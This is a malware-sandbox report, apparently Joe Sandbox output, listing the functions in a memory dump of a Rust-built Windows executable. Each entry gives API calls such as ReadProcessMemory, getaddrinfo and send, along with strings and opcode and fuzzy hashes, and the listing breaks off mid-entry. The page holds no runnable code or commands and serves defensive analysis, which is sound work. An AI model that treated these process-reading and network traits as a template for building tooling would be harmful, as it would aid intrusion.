Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ErrorLast$getsockname
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs
API String ID: 3066790409-3544120690
Opcode ID: 3996327608e06d85950dd559437fddc55b3a0bae8fa9681a949e2c0947329b1d
Instruction ID: 66a46ad46a67e9cdea5291d1ab39e84a6ad405273c6f6a938caf1da40b1f22c1
Opcode Fuzzy Hash: 3996327608e06d85950dd559437fddc55b3a0bae8fa9681a949e2c0947329b1d
Instruction Fuzzy Hash: 8A911772A1825186E3648F19E4456AEB3F0FF45398F149039FB8993B54EFBDE494CB00

Function 00007FF652E77E1C Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E77EB4
memcpy.MSVCRT ref: 00007FF652E78123
memcpy.MSVCRT ref: 00007FF652E7816C

Strings

internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF652E781EC

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs
API String ID: 3510742995-1501570450
Opcode ID: e07537e5fc8a7e2cb672d3bfbda92759642722500a10e2f6080099f1c316165c
Instruction ID: 8a07989636096b025ef135b632a4d9541e37c1fa290f1faf950fe2cfc1e36922
Opcode Fuzzy Hash: e07537e5fc8a7e2cb672d3bfbda92759642722500a10e2f6080099f1c316165c
Instruction Fuzzy Hash: 00B17F27A09BC581E621CB28E8453F9A760FBA9758F05A225DFCC63752EF78E1D5C700

Function 00007FF652E6F224 Relevance: 7.7, APIs: 6, Instructions: 198COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E6F3DD
memcpy.MSVCRT ref: 00007FF652E6F419
memcpy.MSVCRT ref: 00007FF652E6F450

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 9faba4b66fb7fcada093959cd919d60315a19f0719a172076119fb726fff5d3c
Instruction ID: 5ca43d84d51076ca215b9cf65b14b5cfdb8274c3e5983a6e3ca116a460167b95
Opcode Fuzzy Hash: 9faba4b66fb7fcada093959cd919d60315a19f0719a172076119fb726fff5d3c
Instruction Fuzzy Hash: 1D916022A08AD181EB21DB21A8953FD2760FB95B88F4C5139DF4D6B68ADFBCE545C310

Function 00007FF652EB9BB0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(?,?,-00000008,000001FF191A13A0,00000000,-00000006,?,?,?,00007FF652E34851), ref: 00007FF652EB9C2B
GetLastError.KERNEL32(?,?,-00000008,000001FF191A13A0,00000000,-00000006,?,?,?,00007FF652E34851), ref: 00007FF652EB9C35

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: AddressErrorLastWait
String ID:
API String ID: 1574541344-0
Opcode ID: f53cd9b82bfab6845a487c6d0f1ce886955bf5eb0d772edfeac973bf3ab1dcdf
Instruction ID: 4d43272bf176c5d58e855acb8ae17b043bd0d1c031b450dc268d66089f14e3a6
Opcode Fuzzy Hash: f53cd9b82bfab6845a487c6d0f1ce886955bf5eb0d772edfeac973bf3ab1dcdf
Instruction Fuzzy Hash: 5621EA32F1C67286FB15CA65EC915BD27A1AB4178CF184139DE5EE7684DFBCA441CB00

Function 00007FF652E34750 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124threadCOMMON

Download Yara Rule

APIs

SetThreadDescription.KERNELBASE ref: 00007FF652E34794
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00007FF652E313AE), ref: 00007FF652E347B3

Strings

main, xrefs: 00007FF652E3478A

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: DescriptionThreadValue
String ID: main
API String ID: 3615891720-3207122276
Opcode ID: 3d348ba1206dcb68e173b1ae5f687bed3b8f9be2decdeb9a422a2ffe1195155a
Instruction ID: 69635895987a680d5de3fed70a31dba250a974f6c4151e738568b1fb5b87404e
Opcode Fuzzy Hash: 3d348ba1206dcb68e173b1ae5f687bed3b8f9be2decdeb9a422a2ffe1195155a
Instruction Fuzzy Hash: B9515C22E09B6284FB05DB64EC513FD27A0AF5570CF58403DDA4DA77A6DEBCE5458300

Function 00007FF652EE3756 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32 ref: 00007FF652EE37A5

Strings

ReadProcessMemory returned unexpected number of bytes readUnable to read process dataUnable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process pa, xrefs: 00007FF652EE37E9
Unable to read process dataUnable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=, xrefs: 00007FF652EE37DB

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: MemoryProcessRead
String ID: ReadProcessMemory returned unexpected number of bytes readUnable to read process dataUnable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process pa$Unable to read process dataUnable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=
API String ID: 1726664587-2189131707
Opcode ID: a44fe328123ab9bcf4a0772f7b4e9464a831a2fd558b60e4d80da0a147ab4bc5
Instruction ID: d062262234ccb08b51edba7a89aee0aa5fe78a80e26b0d6a356e478d3d52dc6d
Opcode Fuzzy Hash: a44fe328123ab9bcf4a0772f7b4e9464a831a2fd558b60e4d80da0a147ab4bc5
Instruction Fuzzy Hash: EC11B122B08B5292E624CF12AD4177AA364F7587C8F888135EF9DA7B85DF7CE595C300

Function 00007FF652E776F4 Relevance: 5.2, APIs: 4, Instructions: 160COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E77709
memcpy.MSVCRT ref: 00007FF652E7772E
memcpy.MSVCRT ref: 00007FF652E777F9
memcpy.MSVCRT ref: 00007FF652E77823

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 16165c49c5f625afc28a60e4beb8df7aab91efabca0f655a82a709a1bdfa4bd4
Instruction ID: 04fec4f2d4727fd849a429c2f00ec4cd2717ee73667d245c8304cc8d2fa23684
Opcode Fuzzy Hash: 16165c49c5f625afc28a60e4beb8df7aab91efabca0f655a82a709a1bdfa4bd4
Instruction Fuzzy Hash: 9261EA26A0C2E285E760DB21E8002BE6751EB95798F4C0039EE8DA779ADEBCD545C701

Function 00007FF652EDC1D0 Relevance: 4.6, APIs: 3, Instructions: 129networkCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652EDC22F
getaddrinfo.WS2_32 ref: 00007FF652EDC36A
WSAGetLastError.WS2_32 ref: 00007FF652EDC373

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ErrorLastgetaddrinfomemcpy
String ID:
API String ID: 1131991525-0
Opcode ID: 76f71bd93e3362b8f39f501894176f8aa794869592b93eb8d6ac526acf25094a
Instruction ID: a4983c3da28dac4656221a5ffccecaf475a1a16a24216ff538425ecbaa329577
Opcode Fuzzy Hash: 76f71bd93e3362b8f39f501894176f8aa794869592b93eb8d6ac526acf25094a
Instruction Fuzzy Hash: AA51BF63A08AD585EB648F61DD003FC27A1EB957D8F48A239DA4DB77C4EFBC9584C200

Function 00007FF652E34AEE Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E34B5F
memcpy.MSVCRT ref: 00007FF652E34BE6

Strings

/, xrefs: 00007FF652E34B9C

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: /
API String ID: 3510742995-2043925204
Opcode ID: 470444e2ff669002663a08887311288213055fd275df54b575f51f5100dd1363
Instruction ID: 7d945f5f9c491d6b5807c83408dec52a854f02bcb9c96b25d7fb61d1b6448d7d
Opcode Fuzzy Hash: 470444e2ff669002663a08887311288213055fd275df54b575f51f5100dd1363
Instruction Fuzzy Hash: 1431E82270866192FA14DB229D103BD6B64BB11BC9F088435DF5DA7BA2CFBDF1629304

Function 00007FF652E6E95A Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

DeleteSecurityContext.SECUR32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?,?), ref: 00007FF652E6EB58

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E6EB23

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ContextDeleteSecurity
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 4039438073-2333694755
Opcode ID: 4feee31adc0f518a7d9abf0205a304c6b9bbfe19901e486da7341f251dea8c05
Instruction ID: b8ca7ff88f3376fa515da4430969afa048ec8956304366e4d3dbfe50c279e8ff
Opcode Fuzzy Hash: 4feee31adc0f518a7d9abf0205a304c6b9bbfe19901e486da7341f251dea8c05
Instruction Fuzzy Hash: 59819622A05A5282EA24DB15EC913BD6360FF84BA8F0C4235DB6E977D5DFBCE446C300

Function 00007FF652E76367 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E76482

Strings

tcp connect error, xrefs: 00007FF652E765E8

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: tcp connect error
API String ID: 3510742995-3983906501
Opcode ID: f288ae435f59bfe906917340edcfa1de95b8fd63a11cb4368f92422a2e42819a
Instruction ID: 49288df75321282d7a913237d152e05dc9ea560a27bdebe22910efaa8789a17b
Opcode Fuzzy Hash: f288ae435f59bfe906917340edcfa1de95b8fd63a11cb4368f92422a2e42819a
Instruction Fuzzy Hash: 4D917222A0C6D680E6718B25A8013FD6360FB9578CF4C5139DE8D67B9ADF7CE586D700

Function 00007FF652E6EFCA Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 149COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E6F189

Strings

httpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF652E6EFF7

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: httpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs
API String ID: 3510742995-4070119228
Opcode ID: da5ce29f6e599bb263210e2fca266e74d41b8a8b24c29323a90f6c14c002bb84
Instruction ID: 3dda9c875d816c6af055f19bbd223b0ac58c7c93bb9469c1159fcc158e574d77
Opcode Fuzzy Hash: da5ce29f6e599bb263210e2fca266e74d41b8a8b24c29323a90f6c14c002bb84
Instruction Fuzzy Hash: 9451E412B08AD186E6608B25F9443AD7791FB997D8F488139DF9DA3B95DF7CE181C300

Function 00007FF652EDCB70 Relevance: 3.1, APIs: 2, Instructions: 111threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF652EDCC11
SetThreadStackGuarantee.KERNEL32 ref: 00007FF652EDCCAB

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ErrorGuaranteeLastStackThread
String ID:
API String ID: 2304615615-0
Opcode ID: 4a761f60d7a79b12f29d3b4350088a29c51f853c1f22c2e32c01063245d5765c
Instruction ID: 32274a73bb1255497a0b7dc17ec83850bd7bf344570043ebd4103090871e6b5e
Opcode Fuzzy Hash: 4a761f60d7a79b12f29d3b4350088a29c51f853c1f22c2e32c01063245d5765c
Instruction Fuzzy Hash: 9641A52271866141FB14EB26E9553BE5351BB89BC8F4C943CDE8DA7795DEBCE442C300

Function 00007FF652EE9D24 Relevance: 3.1, APIs: 2, Instructions: 108networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF652EE9DCB
WSAGetLastError.WS2_32(?,?,00000000,?,?,00007FF652E715E9), ref: 00007FF652EE9DE0

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ErrorLastsend
String ID:
API String ID: 1802528911-0
Opcode ID: f1a725beafd0e04ec370dc07ae0b3362039b5fb250cf00844e8365f869c33a75
Instruction ID: 2707571f4db98b29af3167716f3b588f464a79468898cdca39f6b59450961533
Opcode Fuzzy Hash: f1a725beafd0e04ec370dc07ae0b3362039b5fb250cf00844e8365f869c33a75
Instruction Fuzzy Hash: A4315B2260C5A281DE20AB16AC411BE6791EF81BE8F1C013AFF5D977E6CE7CD4828300

Function 00007FF652EB9D80 Relevance: 3.1, APIs: 2, Instructions: 99COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00007FF652EB9D6A), ref: 00007FF652EB9DC7
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF652EB9EAA

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: AddressSingleValueWake
String ID:
API String ID: 741412973-0
Opcode ID: 0e2218c593c0c5486fb22acf7a58abfa61246a69673f3ee0142d34c5ec7631f1
Instruction ID: 67b472fa8d29f7f1b7788f7b0c776f6dc19e657c76a65779b96eb38723509333
Opcode Fuzzy Hash: 0e2218c593c0c5486fb22acf7a58abfa61246a69673f3ee0142d34c5ec7631f1
Instruction Fuzzy Hash: 9B512822E4C79295FB059B28FD853B923A0AF1171CF488138D95DE76E6DFACB8848710

Function 00007FF652EAFAF6 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652EB9AB0: TlsGetValue.KERNEL32(?,?,00000000,?,00007FF652E34804), ref: 00007FF652EB9ADB

memcpy.MSVCRT ref: 00007FF652EAFB72

Strings

main, xrefs: 00007FF652EAFB39

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: Valuememcpy
String ID: main
API String ID: 574835123-3207122276
Opcode ID: 0969c8231756cdfee7a3f98c59317233427f4c931ab74973cb5282c20aaad36a
Instruction ID: 8675a644e8d095fbecbf5905f7ca1ee02a96313c48e17e71e96708acbe811dbd
Opcode Fuzzy Hash: 0969c8231756cdfee7a3f98c59317233427f4c931ab74973cb5282c20aaad36a
Instruction Fuzzy Hash: B331B832A09B5281EB10DF11E9603BD2330FB94748F584039EA4D97796DF7CE196C340

Function 00007FF652EDCD10 Relevance: 3.1, APIs: 2, Instructions: 62threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00007FF652EDCDA8
SetThreadDescription.KERNELBASE ref: 00007FF652EDCDBA

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: Thread$CurrentDescription
String ID:
API String ID: 654298328-0
Opcode ID: 5cbf942fb1f3ea6dd19961bb2546fa0822697178fe1b185835995e77d29ec933
Instruction ID: 82241f7921000d7b547b26362f6494b64ebb0b7356b892de44fea1327f13cba5
Opcode Fuzzy Hash: 5cbf942fb1f3ea6dd19961bb2546fa0822697178fe1b185835995e77d29ec933
